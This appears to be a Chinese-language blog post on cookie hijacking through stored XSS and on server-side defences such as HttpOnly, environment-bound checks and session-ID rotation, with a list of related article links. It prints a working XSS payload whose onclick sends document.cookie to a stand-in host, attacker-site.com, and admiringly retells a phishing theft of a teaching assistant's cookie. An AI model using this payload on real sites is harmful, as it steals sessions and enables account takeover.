你必須知道的cookie攻防技術!!!
前言:
對朋友的一個專案進行code review, 發現問題還真不少. 有些web專案功能雖然五臟俱全, 但對網路安全的意識以及相關的技術沉澱, 幾乎可以說沒. 這也是很多小作坊式的專案的一類通病.
今天我們來談談簡單的xss攻擊, 以及Cookie劫持的攻與防.
案列:
聽聞之前通過CCTV電話訪問周鴻禕時, 分析其按鍵聲音從而獲取紅衣教主的電話號碼的那個傳奇大俠.
其後續的一個得意之作, 便是通過給大學的一個助教發了份釣魚郵件, 成功獲取了助教的cookie資訊, 最終登陸系統, 提前獲取了成績資訊.
那它是怎麼實現的呢.
1. Cookie是什麼?
2. 竊取的原理是什麼?
3. 系統如何防Cookie劫持呢?
看完這三個回答, 你就明白哪位傳奇大俠是如何成功的!!!
Cookie:
HTTP天然是無狀態的協議, 為了維持和跟蹤使用者的狀態, 引入了Cookie和Session. Cookie包含了瀏覽器客戶端的使用者憑證, 相對較小. Session則維護在伺服器, 用於維護相對較大的使用者資訊.
用通俗的語言, Cookie是鑰匙, Session是鎖芯.
Cookie簡單理解就是鑰匙, 每次去服務端獲取資源, 需要帶著這把鑰匙, 只有自己的鎖芯(資源), 才能開啟.
如果你丟掉了鑰匙, 那沒辦法, 只能配一把鑰匙和鎖芯.
但是如果鑰匙被別人拿了, 那別人就可以冒充你的身份, 去開啟你的鎖芯, 從而獲取你的資訊, 甚至挪用你的資金. 這是非常危險的.
XSS攻擊:
XSS(Cross Site Scripting)是跨站點指令碼攻擊的縮寫. 其就是利用站點開放的文字編輯併發布的功能, 從而造成攻擊.
其實說的簡單一點, 就是輸入javascript指令碼, 竊取並投遞cookie資訊到自己的站點.
比如攻擊者以一個普通使用者登入進來,然後在輸入框中提交以下資料:
<a href=# onclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\”>快看, 這裡有美女在洗澡</a>
攻擊者提交了條帶<a>標籤的資料,該條資料儲存於伺服器端,而管理員登入時,不小心點選這個連結時,則會把自身的cookie資訊, 投遞給hacker設定的網址.
http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz
有了該session-id,攻擊者在會話有效期內即可獲得管理員的許可權,並且由於攻擊資料已新增入資料庫,只要攻擊資料未被刪除,那麼攻擊還有可能生效,是永續性的。
Cookie劫持的防:
基於XSS攻擊, 竊取Cookie資訊, 並冒充他人身份.
服務端如何防呢?
第一種辦法是:
給Cookie新增HttpOnly屬性, 這種屬性設定後, 只能在http請求中傳遞, 在指令碼中, document.cookie無法獲取到該Cookie值. 對XSS的攻擊, 有一定的防禦值. 但是對網路攔截, 還是洩露了.
第二種辦法:
在cookie中新增校驗資訊, 這個校驗資訊和當前使用者外接環境有些關係,比如ip,user agent等有關. 這樣當cookie被人劫持了, 並冒用, 但是在伺服器端校驗的時候, 發現校驗值發生了變化, 因此要求重新登入, 這樣也是種很好的思路, 去規避cookie劫持.
第三種辦法:
cookie中session id的定時更換, 讓session id按一定頻率變換, 同時對使用者而言, 該操作是透明的, 這樣保證了服務體驗的一致性.
後記:
對XSS的攻與防, 有很多思路和解決方案. 該文章也是簡單談談對Cookie劫持的攻與防的一些思路.
相關文章
- 你必須知道的 SmartSql !SQL
- ?你必須知道的Java泛型Java泛型
- Web 開發必須掌握的三個技術:Token、Cookie、SessionWebCookieSession
- 你必須學習的10項.NET技術
- 你必須知道的HTTP基本概念HTTP
- 你必須要知道的babel二三事Babel
- C#.NET 中你必須知道的反射C#反射
- 函式你必須知道的三種角色?函式
- is 和 as 讀你必須知道的.net 筆記筆記
- 你必須要知道的HTTP協議原理HTTP協議
- 敲黑板:InnoDB的Double Write,你必須知道
- 你必須知道的Java基礎知識Java
- 3款你必須知道的爬蟲工具爬蟲
- 29 個你必須知道的 Linux 命令Linux
- 你必須知道的基礎演算法演算法
- Python你必須知道的十個庫Python
- .Net Core 你必須知道的source-generators
- using 你知道多少?你必須知道的.NET讀書筆記筆記
- 開發者測試:你必須知道 7 件事
- 技術主管必須做的事情
- 關於Http協議,你必須要知道的HTTP協議
- 你必須知道的幾種java容器(集合類)Java
- LLM部署,你必須要知道的幾個技巧!
- 千萬淘寶店運營必備知識,你必須知道!
- 這幾個python常用的庫你必須知道!Python
- 入門node.js你必須知道的那些事Node.js
- 這10款好用的Windows軟體,你必須知道!Windows
- 關於NoSQL,你必須知道的九件事SQL
- Python 這10個字典操作你必須知道Python
- 7款滲透測試工具,你必須知道!
- 遊戲出海越南前,這些事情你必須知道遊戲
- CIO 必須有技術的預判能力
- 做技術必須有過硬的本事!!!
- 不懂技術也想創業?這6招你必須注意創業
- 檔案管理,你必須要知道的三個要點
- Vue3.0之前你必須知道的TypeScript實戰技巧VueTypeScript
- 學習 Java 語言,你必須知道的 Java 簡史Java
- 關於JVM,你必須知道的這些知識點JVM